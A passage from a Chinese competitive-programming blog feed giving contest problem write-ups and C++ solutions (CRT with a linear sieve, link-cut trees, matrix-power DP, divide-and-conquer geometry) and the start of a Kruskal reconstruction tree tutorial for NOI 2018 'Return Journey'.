        b[i] = ( 1LL * b[ i - 1 ] * bx + by ) % p + 1;
        c[i] = ( 1LL * c[ i - 1 ] * cx + cy ) % p + 1;
    }

    f[0] = a;
    f[1] = add( f[0], mul( mul( f[0], c[0] ), inv[ Min( c[0], b[0] ) ] ) );

    for( int i = 2; i &amp;lt;= n; i++ )
        f[i] = add( f[ i - 2 ], mul( mul( f[ i - 1 ], c[ i - 1 ] ), inv[ Min( c[ i - 1 ], b[ i - 2 ] ) ] ) );

    printf( &quot;%d&quot;, f[n] );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;T2 整除 Division&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;考场上直接快速幂暴力跑路&lt;/p&gt;
&lt;p&gt;看出来 CRT 能搞忘记 CRT 了&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;显然，本题可以转化为以下形式&lt;/p&gt;
&lt;p&gt;$$
\begin{cases}
x ^ m \equiv x \mod p_1 \
x ^ m \equiv x \mod p_2 \
\cdots \
x ^ m \equiv x \mod p_c
\end{cases}
$$&lt;/p&gt;
&lt;p&gt;其中 $p$ 数列是题目给定的素数&lt;/p&gt;
&lt;p&gt;将其中每一个方程的解个个数乘起来便是答案&lt;/p&gt;
&lt;p&gt;但是直接暴力做的复杂度是 $ O(T \times \sum_{i = 1}^c p_i \times \log(m)) $&lt;/p&gt;
&lt;p&gt;这个复杂度只有 $80%$ 的分数，后面会 TLE&lt;/p&gt;
&lt;p&gt;我们可以每次线性筛 $ x^m \mod p_i $&lt;/p&gt;
&lt;p&gt;即&lt;/p&gt;
&lt;p&gt;设 $ f(x) = x ^ m \mod p_i $&lt;/p&gt;
&lt;p&gt;显然，$f$ 是完全积性函数，线性筛即可&lt;/p&gt;
&lt;p&gt;复杂度 $ O(T \times ( \sum_{i = 1}^c p_i + k \times \log(m) )$&lt;/p&gt;
&lt;p&gt;其中 $k$ 是 $ p_i $ 的质数个数，卡卡常就过了&lt;/p&gt;
&lt;p&gt;值得一提的是，这道题目还有基于原根性质 $ O( T \times c \log (p)) $ 的做法，请自行查找&lt;/p&gt;
&lt;p&gt;代码因为卡常非常丑陋，凑活看吧……&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

inline unsigned int read() {
    register char c = 0; register unsigned int now = 0;
    while( c &amp;lt; &apos;0&apos; || c &amp;gt; &apos;9&apos; )
        c = getchar();
    while( c &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; c &amp;lt;= &apos;9&apos; ) {
        now = ( now &amp;lt;&amp;lt; 3 ) + ( now &amp;lt;&amp;lt; 1 ) + ( c - 48 );
        c = getchar();
    }
    return now;
}

const unsigned int N = 1e4 + 3;
const unsigned int MOD = 998244353;

//inline unsigned int mul( register unsigned int a, register unsigned int b, register unsigned int mod = MOD ) { return ( 1LL * a * b ) % mod; }

unsigned int T, c, m;

inline unsigned int ksm( register unsigned int a, register unsigned int p, register unsigned int mod ) {
    register unsigned int res = 1;
    while(p) {
        if( p &amp;amp; 1 )
            res = res * a % mod;
        a = a * a % mod;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}

unsigned int tmp_pcnt, real_pcnt;
unsigned int pri[N], f[N];
bool vis[N];
inline void pre( register unsigned int mod ) {
    tmp_pcnt = 0;
    for( register unsigned int i = 1; i &amp;lt;= real_pcnt; i++ )
        f[ pri[i] ] = ksm( pri[i], m, mod );

    for( register unsigned int i = 2; i &amp;lt; mod; i++ ) {
        if( vis[i] == false )
            ++ tmp_pcnt;
        for( register unsigned int j = 1; j &amp;lt;= tmp_pcnt; j++ ) {
            if( pri[j] * i &amp;gt; mod )
                break;

            f[ i * pri[j] ] = ( f[i] * f[ pri[j] ] ) % mod;

            if( i % pri[j] == 0 )
                break;
        }
    }
}

inline void get_pri() {
    for( register unsigned int i = 2; i &amp;lt;= 10000; i++ ) {
        if( vis[i] == false )
            pri[ ++ real_pcnt ] = i;
        for( register unsigned int j = 1; j &amp;lt;= real_pcnt; j++ ) {
            if( pri[j] * i &amp;gt; 10000 )
                break;
            vis[ i * pri[j] ] = true;
            if( i % pri[j] == 0 )
                break;
        }
    }
}

int main() {
    freopen( &quot;division.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;division.out&quot;, &quot;w&quot;, stdout );

    get_pri();
    f[1] = 1;

    read(); T = read();

    while( T-- ) {
        register unsigned int ans = 1, cnt;
        c = read(), m = read();

        register unsigned int tmp;
        for( register unsigned int i = 1; i &amp;lt;= c; i++ ) {
            tmp = read();

            pre( tmp );
            cnt = 2;
            for( register unsigned int j = 2; j &amp;lt; tmp; j++ ) {
                if( f[j] - j == 0 )
                    cnt ++;
            }
            if( cnt != 0 )
                ans = ( 1LL * ans * cnt ) % MOD;
        }
        printf( &quot;%d\n&quot;, ans );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;T3 欠钱 Money&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;考场胡出来了前 $ 60% $ 的数据结果没时间调了，一分未得……&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;题目有多种解法，参考本目录下的 &lt;code&gt;官方 Soltion.pdf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这里只讲述 LCT 解法&lt;/p&gt;
&lt;p&gt;复杂度不想讲了&lt;/p&gt;
&lt;p&gt;注意 LCT 求 LCA 的方法&lt;/p&gt;
&lt;p&gt;先 &lt;code&gt;access(a)&lt;/code&gt; 再 &lt;code&gt;access(b)&lt;/code&gt; 最后 &lt;code&gt;splay&lt;/code&gt; 到的节点即为 $lca(a,b)$&lt;/p&gt;
&lt;p&gt;后面就是 LCT 标准操作&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#pragma GCC optimize(3,&quot;Ofast&quot;,&quot;inline&quot;)
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

inline int Min( register int a, register int b ) { return a &amp;lt; b? a: b; }

int read() {
    register char c = 0; register int now = 0;
    while( c &amp;lt; &apos;0&apos; || c &amp;gt; &apos;9&apos; )
        c = getchar();
    while( c &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; c &amp;lt;= &apos;9&apos; ) {
        now = ( now &amp;lt;&amp;lt; 3 ) + ( now &amp;lt;&amp;lt; 1 ) + ( c - 48 );
        c = getchar();
    }
    return now;
}

int st[100001], stcnt;
void write( register int a, register char end = 0 ) {
    while(a) {
        st[ ++ stcnt ] = a % 10;
        a /= 10;
    }
    if( stcnt == 0 )
        putchar( &apos;0&apos; );
    while( stcnt ) {
        putchar( st[stcnt] + &apos;0&apos; );
        stcnt --;
    }
    putchar( end );
}

const int N = 1e5 + 5;
const int INF = 0x3f3f3f3f;

int n, m, last_ans;

inline void get_real( register int &amp;amp;a ) { a = ( a + last_ans ) % n + 1; }

//struct _fa {
    int fa[N];
    void init( register int now ) { for( register int i = 1; i &amp;lt;= now; i++ ) fa[i] = i; }
//    int&amp;amp; operator[] ( register int now ) { return fa[now]; }
    int get_fa( register int now ) {
        if( fa[now] == now )
            return now;
        return fa[now] = get_fa( fa[now] );
    }
//}fa;

struct node {
    int son[2], fa, val, min;
    bool rev;
} tree[N];

inline bool get_son( register int now ) { return tree[ tree[now].fa ].son[1] == now; }

inline bool not_root( register int now ) { return tree[ tree[now].fa ].son[0] == now || tree[ tree[now].fa ].son[1] == now ; }

inline void push_up( register int now ) {
    tree[now].min = tree[now].val;
    tree[now].min = Min( tree[ tree[now].son[0] ].min , Min( tree[ tree[now].son[1] ].min, tree[now].val ) );
}

inline void get_re( register int now ) {
    std::swap( tree[now].son[0], tree[now].son[1] );
    tree[now].rev ^= 1;
}

inline void push_down( register int now ) {
    if( tree[now].rev ) {
        if( tree[now].son[0] )
            get_re( tree[now].son[0] );
        if( tree[now].son[1] )
            get_re( tree[now].son[1] );
        tree[now].rev = 0;
    }
}

inline void push_all( register int now ) {
    while(now) {
        if( not_root(now) == false ) {
            push_down(now);
            break;
        }
        st[ ++ stcnt ] = now;
        now = tree[now].fa;
    }
    while( stcnt ) {
        push_down( st[stcnt] );
        stcnt --;
    }
    stcnt = 0;
//    if( not_root(now) )
//        push_all( tree[now].fa );
//    push_down(now);
}

inline void rotate( register int now ) {
    register int tmp = tree[now].fa;
    register bool kind = get_son(now);
    if( not_root(tmp) )
        tree[ tree[tmp].fa ].son[ get_son(tmp) ] = now;
    tree[now].fa = tree[tmp].fa;
    tree[tmp].son[kind] = tree[now].son[ kind ^ 1 ]; tree[ tree[tmp].son[kind] ].fa = tmp;
    tree[tmp].fa = now; tree[now].son[ kind ^ 1 ] = tmp;
    push_up(tmp); push_up(now);
}

inline void splay( register int now ) {
    push_all(now);
    while( not_root(now) ) {
        register int tmp = tree[now].fa;
        if( not_root( tmp ) )
            rotate( get_son(tmp) == get_son(now)? tmp: now );
        rotate(now);
    }
}

inline int access( register int now ) {
    register int res = 0;
    for( register int tmp = 0; now; now = tree[ tmp = now ].fa )
        splay(now), tree[now].son[1] = tmp, push_up(now), res = now;
    return res;
}

inline void makeroot( register int now ) {
    access(now); splay(now); get_re(now);
}

inline void link( register int from, register int to, register int val ) {
    splay(from);
    tree[from].fa = to;
    tree[from].val = val;
    tree[from].min = Min( tree[from].min, tree[from].val );
}

inline int ask( register int from, register int to ) {
    register int res = 0;
    access(to);
    if( access(from) == to ) {
        makeroot(to);
        access(from);
        splay(to);
        res = tree[ tree[to].son[1] ].min;
        makeroot( get_fa(to) );
    }
    return res;
}

int main() {
    freopen( &quot;money.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;money.out&quot;, &quot;w&quot;, stdout );

    last_ans = 0; tree[0].min = INF;
    n = read(); m = read();
    init(n);
    for( register int i = 1; i &amp;lt;= m; i++ ) {
        register int op = read();
        if( op == 0 ) {
            register int a = read(), b = read(), c = read();
            get_real(a), get_real(b), get_real(c);
            fa[a] = b;
            link( a, b, c );
        }
        else {
            register int a = read(), b = read();
            get_real(a), get_real(b);
            if( get_fa(a) != get_fa(b) )
                last_ans = 0;
            else
                last_ans = ask( a, b );
            write( last_ans, &apos;\n&apos; );
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>中山纪念中学 Day2 2019.08.02</title><link>https://blog.woshiluo.com/posts/2019/08/%E4%B8%AD%E5%B1%B1%E7%BA%AA%E5%BF%B5%E4%B8%AD%E5%AD%A6-day2-2019-08-02/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/08/%E4%B8%AD%E5%B1%B1%E7%BA%AA%E5%BF%B5%E4%B8%AD%E5%AD%A6-day2-2019-08-02/</guid><pubDate>Sat, 03 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;T1 Attack&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;考场上时懵的，这是个啥？为什么没有部分分？&lt;/p&gt;
&lt;p&gt;弃了&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;结果下来一讨论， T1 时间限制 &lt;code&gt;10s&lt;/code&gt; ，这是个啥？&lt;/p&gt;
&lt;p&gt;发现自己错过了 A 一道题的机会，难受&lt;/p&gt;
&lt;p&gt;言归正传&lt;/p&gt;
&lt;p&gt;正解是什么划分数之类的神仙玩意儿，这肯定时看不懂的&lt;/p&gt;
&lt;p&gt;但是原题时间限制是 &lt;code&gt;1s&lt;/code&gt; ……&lt;/p&gt;
&lt;p&gt;我感受到组题人满满的恶意善意&lt;/p&gt;
&lt;p&gt;所以直接 $ O(n^2) $ 乱搞时可以的&lt;/p&gt;
&lt;p&gt;实际上最朴素的算法是 $O(nm\log(n))$ 的，但是过不了…&lt;/p&gt;
&lt;p&gt;随便乱搞把求第 $k$ 大降到 $O(n)$ 就行了&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

#include &amp;lt;algorithm&amp;gt;

const int N = 61000;

struct node {
    int x, y, k, id;
} a[N];

int n, m;
int b[N];
char op[20];

bool cmp( node a, node b ) { return a.k &amp;lt; b.k; }

int main() {
#ifdef woshiluo
    freopen( &quot;gmoj.2865.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;gmoj.2865.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d%d&quot;, &amp;amp;n, &amp;amp;m );
    for( int i = 1; i &amp;lt;= n; i++ ) {
        scanf( &quot;%d%d%d&quot;, &amp;amp;a[i].x, &amp;amp;a[i].y, &amp;amp;a[i].k );
        a[i].id = i;
    }

    std::sort( a + 1, a + n + 1, cmp );

    for( int i = 1; i &amp;lt;= n; i++ )
        b[ a[i].id ] = i;

    while( m -- ) {
        scanf( &quot;%s&quot;, op );
        if( op[0] == &apos;S&apos; ) {
            int x, y;
            scanf( &quot;%d%d&quot;, &amp;amp;x, &amp;amp;y );
            x ++, y ++;
            std::swap( a[ b[x] ].x, a[ b[y] ].x );
            std::swap( a[ b[x] ].y, a[ b[y] ].y );
            std::swap( a[ b[x] ].id, a[ b[y] ].id );
            std::swap( b[x], b[y] );
        }
        else {
            int x0, y0, x1, y1, k, cnt = 0;
            bool flag = false;
            scanf( &quot;%d%d%d%d%d&quot;, &amp;amp;x0, &amp;amp;y0, &amp;amp;x1, &amp;amp;y1, &amp;amp;k );
            if( x0 &amp;gt; x1 )
                std::swap( x0, x1 );
            if( y0 &amp;gt; y1 )
                std::swap( y0, y1 );
            for( int i = 1; i &amp;lt;= n; i++ ) {
                if( a[i].x &amp;gt;= x0 &amp;amp;&amp;amp; a[i].x &amp;lt;= x1 &amp;amp;&amp;amp; a[i].y &amp;gt;= y0 &amp;amp;&amp;amp; a[i].y &amp;lt;= y1 ) {
                    cnt ++;
                    if( cnt == k ) {
                        printf( &quot;%d&quot;, a[i].k );
                        flag = true;
                        break;
                    }
                }
            }

            if( !flag )
                printf( &quot;It doesn&apos;t exist.&quot; );
            printf( &quot;\n&quot; );
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;std::swap&lt;/code&gt; 真好用&lt;/p&gt;
&lt;h2&gt;T2 Contra&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;本来是在推 DP 的&lt;/p&gt;
&lt;p&gt;但是推锅了，便直接 DFS 跑路，结果二分还被卡了……&lt;/p&gt;
&lt;p&gt;又忘记判 0 了&lt;/p&gt;
&lt;p&gt;结果只有 10 分&lt;/p&gt;
&lt;p&gt;不过这也是我第一次期望类型的题目有分了……&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;卡精度的毒瘤题目&lt;/p&gt;
&lt;p&gt;前置知识: 期望 DP 矩阵乘法&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;$ 20% $ 二分套 DFS $ O(2^n \times log_2(10^9)) $&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个真的不想说……&lt;/p&gt;
&lt;p&gt;建议 $ eqs = 10^{-9} $&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$100%$ 二分套矩阵优化 DP&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;很容易想到&lt;/p&gt;
&lt;p&gt;设&lt;/p&gt;
&lt;p&gt;$f_{i,j,k} $ 表示在第 $i$ 关，连击 $j$ 次，有 $k$ 条命的期望&lt;/p&gt;
&lt;p&gt;$g_{i,j,k} $ 表示在第 $i$ 关，连击 $j$ 次，有 $k$ 条命的概率&lt;/p&gt;
&lt;p&gt;但是因为是两个 DP 转移，纵使是矩阵乘法也救不了你&lt;/p&gt;
&lt;p&gt;考虑在状态上优化，易得没有必要计算期望，计算概率即可，则可得到状态转移方程&lt;/p&gt;
&lt;p&gt;$$
\begin{align}
f_{i + 1, \min( j + 1, r ) ,\min( k + 1, q ) } &amp;amp; += f_{i,j,k} \times p\
f_{i + 1, 0, k - 1 } &amp;amp; += f_{i,j,k} \times ( 1 - p ) \
ans &amp;amp; += f_{i,j,k} \times ( j + 1 ) \times p
\end{align}
$$&lt;/p&gt;
&lt;p&gt;构建矩阵&lt;/p&gt;
&lt;p&gt;很明显状态是 $(i,j)$ 表示还有 $i$ 条命，连击 $j$ 次&lt;/p&gt;
&lt;p&gt;但是有无用状态，若 $i \neq q$ ，则显然 $j \leq i - 1$&lt;/p&gt;
&lt;p&gt;即应当对 $(i, j)$ Hash&lt;/p&gt;
&lt;p&gt;经过这个优化可以确保举证单边长度在 30 左右&lt;/p&gt;
&lt;p&gt;矩阵中 $(i,j)$ 表示 Hash 后的 i，转移到 Hash 后的 $j$ 的概率&lt;/p&gt;
&lt;p&gt;自己乘自己即可&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

inline double abs( double a ) { return a &amp;lt; 0? ( 0.0 - a ): a; }
inline int Min( int a, int b ) { return a &amp;lt; b? a: b; }
inline int Max( int a, int b ) { return a &amp;gt; b? a: b; }

const double eqs = 0.000000001;

int n, r, q, s, cnt;
int pos[110][110];

// double dfs( int now, int combo, int life, double p ) {
//     if( life == 0 || now == n )
//         return 0.0;
//
//     return p * ( dfs( now + 1, combo + 1, Min( life + 1, q ), p ) + Min( combo + 1, r ) ) + ( 1.0 - p ) * dfs( now + 1, 0, life - 1, p );
// }

struct matrix {
    double mat[110][110];
    matrix( double now = 0.0 ) {
        memset( mat, 0, sizeof(mat) );
        if( now != 0.0 ) {
            for( int i = 0; i &amp;lt; 100; i++ )
                mat[i][i] = now;
        }
    }
    matrix operator* ( matrix b ) {
        matrix res;
        for( int i = 1; i &amp;lt;= cnt; i++ ) {
            for( int j = 1; j &amp;lt;= cnt; j++ ) {
                for( int k = 1; k &amp;lt;= cnt; k++ ) {
                    res[i][j] += mat[i][k] * b[k][j];
                }
            }
        }
        return res;
    }
    double* operator[] ( int now ) { return mat[now]; }
};

matrix ksm( matrix a, int p ) {
    matrix res(1);
    while(p) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}

bool check( double p ) {
    matrix a;

    a[1][1] = 1;
    for( int i = 1; i &amp;lt;= q; i++ ) {
        int tmp = ( i == q )? r: Min( i - 1, r );
        for( int j = 0; j &amp;lt;= Max( 0, tmp ); j++ ) {
            int x = pos[i][j], y = pos[ i - 1 ][0], z = pos[ Min( i + 1, q ) ][ Min( j + 1, r ) ];
            if( i &amp;gt; 1 )
                a[x][y] = ( 1.0 - p );
            a[x][z] = p;
            a[x][1] = p * (double)Min( j + 1, r );
        }
    }

//    printf(&quot;%lf\n&quot;, ksm( a, n )[ pos[q][0] ][1]);
    return ( ksm( a, n )[ pos[q][0] ][1] ) &amp;gt; s;
}

int main() {
#ifdef woshiluo
    freopen( &quot;gmoj.2867.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;gmoj.2867.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d%d%d%d&quot;, &amp;amp;n, &amp;amp;r, &amp;amp;q, &amp;amp;s );

    for( int i = 0; i &amp;lt;= q; i++ ) {
        int tmp = ( i == q )? r: Min( i - 1, r );
        for( int j = 0; j &amp;lt;= Max(0, tmp); j++ ) {
            pos[i][j] = ++ cnt;
        }
    }

    if ( !check(1) ) {
        printf(&quot;Impossible.&quot;);
        return 0;
    }
    double left = 0, rig = 1, res = 10;
    while( abs( rig - left ) &amp;gt;= eqs ) {
        double mid = ( left + rig ) / 2;
        if( check(mid) )
            res = res &amp;lt; mid? res: mid, rig = mid;
        else
            left = mid;
    }

    printf( &quot;%.6lf&quot;, res );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;T3 Bomb&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;考场上三点之间两两曼哈顿距离之和实际上就是框住这三个点的最小长方形的周长了&lt;/p&gt;
&lt;p&gt;但是往下想没想到…&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;最大值显然可以贪心，有关贪心的证明请自行搜索不再赘述&lt;/p&gt;
&lt;p&gt;最小值有很多做法，参见 /bomb/Bomb解题报告.pdf&lt;/p&gt;
&lt;p&gt;这里讲述分治做法&lt;/p&gt;
&lt;p&gt;很明显分治到 $rig - left \leq 12$ 的时候是可以直接 $O(n^3)$ 瞎搞的，在往上合并时候，确认坐标轴之差的绝对值不大于已知结果即可&lt;/p&gt;
&lt;p&gt;这里为了防止被卡，将 x, y 坐标交换了，并加上了随机化&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

#include &amp;lt;algorithm&amp;gt;

inline int Aabs( int a ) { return a &amp;lt; 0? ( 0 - a ): a; }
inline int Min( int a, int b ) { return a &amp;lt; b? a: b; }
inline int Max( int a, int b ) { return a &amp;gt; b? a: b; }
inline int Max_3( int a, int b, int c ) { return Max( a, Max( b, c ) ); }
inline int Min_3( int a, int b, int c ) { return Min( a, Min( b, c ) ); }

const int N = 110000;
const int INF = 0x3f3f3f3f;

struct node {
    int x, y;
    bool operator&amp;lt; ( const node &amp;amp;b )const {
        if( x == b.x )
            return this -&amp;gt; y &amp;lt; b.y;
        return this -&amp;gt; x &amp;lt; b.x;
    }
} a[N], tmp[N];

bool cmp( node a, node b ) {
    if( a.y == b.y )
        return a.x &amp;lt; b.x;
    return a.y &amp;lt; b.y;
}

int n, ans = INF;
int minx, maxx, miny, maxy, mins, maxs, _mins, _maxs;

void solve( int left, int rig ) {
    if( rig - left &amp;lt;= 12 ) {
        for( int i = left; i &amp;lt;= rig; i++ ) {
            for( int j = i + 1; j &amp;lt;= rig; j++ ) {
                for( int k = j + 1; k &amp;lt;= rig; k++ ) {
                    ans = Min( ans, Max_3( a[i].x, a[j].x, a[k].x ) - Min_3( a[i].x, a[j].x, a[k].x ) +
                            Max_3( a[i].y, a[j].y, a[k].y ) - Min_3( a[i].y, a[j].y, a[k].y ) );
                }
            }
        }
        return ;
    }
    int mid = ( rig - left &amp;lt;= 100? ( left + rig ) &amp;gt;&amp;gt; 1: left + rand() % ( rig - left + 1 ) );
    std::nth_element( a + left + 1, a + mid + 1, a + rig + 1);

    if( rand() &amp;amp; 1 )
        { solve( left, mid ); solve( mid + 1, rig ); }
    else
        { solve( mid + 1, rig ); solve( left, mid ); }

    int mid_x = a[mid].x, pos = 0;

    for( int i = left; i &amp;lt;= rig; i++ ) {
        if( Aabs( a[i].x - mid_x ) &amp;lt; ans )
            tmp[ ++ pos ] = a[i];
    }
    std::sort( tmp + 1, tmp + pos + 1, cmp );

    int p = 1;
    for( int i = 3; i &amp;lt;= pos; i++ ) {
        while( Aabs( tmp[p].y - tmp[i].y ) &amp;gt;= ans )
            p ++;
        for( int j = p; j &amp;lt; i; j++ ) {
            for( int k = j + 1 ; k &amp;lt; i; k++ ) {
                ans = Min( ans, Max_3( tmp[i].x, tmp[j].x, tmp[k].x ) - Min_3( tmp[i].x, tmp[j].x, tmp[k].x ) +
                        Max_3( tmp[i].y, tmp[j].y, tmp[k].y ) - Min_3( tmp[i].y, tmp[j].y, tmp[k].y ) );
            }
        }
    }
}

int main() {
#ifdef woshiluo
    freopen( &quot;gmoj.2866.in&quot;, &quot;r&quot;, stdin );
//    freopen( &quot;gmoj.2866.out&quot;, &quot;w&quot;, stdout );
#endif
    srand( 125545 );
    scanf( &quot;%d&quot;, &amp;amp;n );
    minx = miny = mins = _mins = INF;
    maxx = maxy = maxs = _maxs = -INF;
    for( int i = 1; i &amp;lt;= n; i++ ) {
        int x, y;
        scanf( &quot;%d%d&quot;, &amp;amp;x, &amp;amp;y );
        int tp = x; x = y; y = tp;
        minx = Min( minx, x ); maxx = Max( maxx, x );
        miny = Min( miny, y ); maxy = Max( maxy, y );
        mins = Min( mins, x + y ); maxs = Max( maxs, x + y );
        _mins = Min( _mins, x - y ); _maxs = Max( _maxs, x - y );
        a[i] = (node) { x, y };
    }
    int max = 0;
    max = Max( max, maxs - minx - miny );
    max = Max( max, maxx + maxy - mins );
    max = Max( max, _maxs - minx + maxy );
    max = Max( max, maxx - miny - _mins );

    solve( 1, n );

    printf( &quot;%d\n%d\n&quot;, max &amp;lt;&amp;lt; 1, ans &amp;lt;&amp;lt; 1 );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Kruskal 重构树入门 - 「NOI 2018」 归程</title><link>https://blog.woshiluo.com/posts/2019/06/kruskal-%E9%87%8D%E6%9E%84%E6%A0%91%E5%85%A5%E9%97%A8-noi-2018-%E5%BD%92%E7%A8%8B/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/06/kruskal-%E9%87%8D%E6%9E%84%E6%A0%91%E5%85%A5%E9%97%A8-noi-2018-%E5%BD%92%E7%A8%8B/</guid><pubDate>Fri, 07 Jun 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Kruskal 重构树&lt;/h2&gt;
&lt;p&gt;在 &lt;a href=&quot;https://blog.woshiluo.com/1238.html&quot;&gt;Kruskal 最小/大生成树 — Luogu P1967 货车运输&lt;/a&gt; 一文中，介绍了 Kruskal 算法是如何生成最小生成树的&lt;/p&gt;
&lt;p&gt;如果将两个联通块联通的不是边而是点呢？&lt;/p&gt;
&lt;p&gt;这就是 Kruskal 重构树&lt;/p&gt;
&lt;p&gt;具体来说就是，我们原来是通过一条边将两个联通块相连接的，现在我们新建立一个点，将这两个联通块的根节点连接到这个点上，原来的边权就是这个新建节点的点权，这样执行下来，我们会得到一棵新的树，这个树有以下两个特征&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;没有&lt;/strong&gt; 边权&lt;/li&gt;
&lt;li&gt;保证是一个堆
&lt;ul&gt;
&lt;li&gt;大根堆还是小根堆要看 &lt;strong&gt;原来&lt;/strong&gt; 生成的是最小还是最大生成树&lt;/li&gt;
&lt;li&gt;因为我们保证边权的单调性，故后期新建节点的点权也是单调的，故新树是一个堆&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h3&gt;代码实现&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Kru Tree Start
struct k_edge {
    int now, to, hei;
    bool operator&amp;lt;(k_edge b) { return this-&amp;gt;hei &amp;gt; b.hei; }
} k_e[M];

struct _set {
    int fa[N &amp;lt;&amp;lt; 1];
    void init(int now) {
        now &amp;lt;&amp;lt;= 1;
        for (int i = 1; i &amp;lt;= now; i++) fa[i] = i;
    }
    int get_fa(int now) {
        if (fa[now] == now)
            return now;
        return fa[now] = get_fa(fa[now]);
    }
    int&amp;amp; operator[](int now) { return fa[now]; }
} set;

void kru_tree() {
    edge_init();
    set.init(n);
    std::sort(k_e + 1, k_e + m + 1);
    for (int i = 1; i &amp;lt;= m; i++) {
        int tmp_now = set.get_fa(k_e[i].now), tmp_to = set.get_fa(k_e[i].to);
        if (tmp_now != tmp_to) {
            n++;
            Min_hei[n] = k_e[i].hei;
            add_edge(n, tmp_now);
            add_edge(n, tmp_to);
            set[tmp_now] = n;
            set[tmp_to] = n;
        }
    }
}
// Kru Tree End
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;「NOI 2018」 归程&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://oj.woshiluo.site/problem/2009&quot;&gt;https://oj.woshiluo.site/problem/2009&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我人生中第一次听说强制在线就是这个东西&lt;/p&gt;
&lt;p&gt;先跑重构树&lt;/p&gt;
&lt;p&gt;如果节点 $u$ 在重构树中可以开到 $v$ 节点，那么 $v$ 节点及其所有子树都可以开车开到，所以我们的目标是找到 $v$ 节点及 $v$ 节点及其所以子树中的到达 $1$ 节点距离最短的一个&lt;/p&gt;
&lt;p&gt;找到 $v$ 节点倍增&lt;/p&gt;
&lt;p&gt;后者先 $Dijskra$ 求 $1$ 节点到所有节点的最短路，然后重构树建完之后跑一边 $DFS$ 即可&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;queue&amp;gt;
#include &amp;lt;algorithm&amp;gt;

inline int Min(int a, int b) { return a &amp;lt; b? a: b; }

const int N = 2e5 + 1e4;
const int M = 4e5 + 1e4;
const int INF = 0x3f3f3f3f;

int T, _n, n, m;
int Min_dis[ N &amp;lt;&amp;lt; 1 ], Min_hei[ N &amp;lt;&amp;lt; 1 ], fa[ N &amp;lt;&amp;lt; 1 ][30];

// Edge Start
struct edge {
    int to, next, val;
}e[M &amp;lt;&amp;lt; 1];
int ehead[N &amp;lt;&amp;lt; 1], ecnt;

inline void add_edge(int now, int to, int val = 0) {
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].val = val;
    e[ecnt].next = ehead[now];
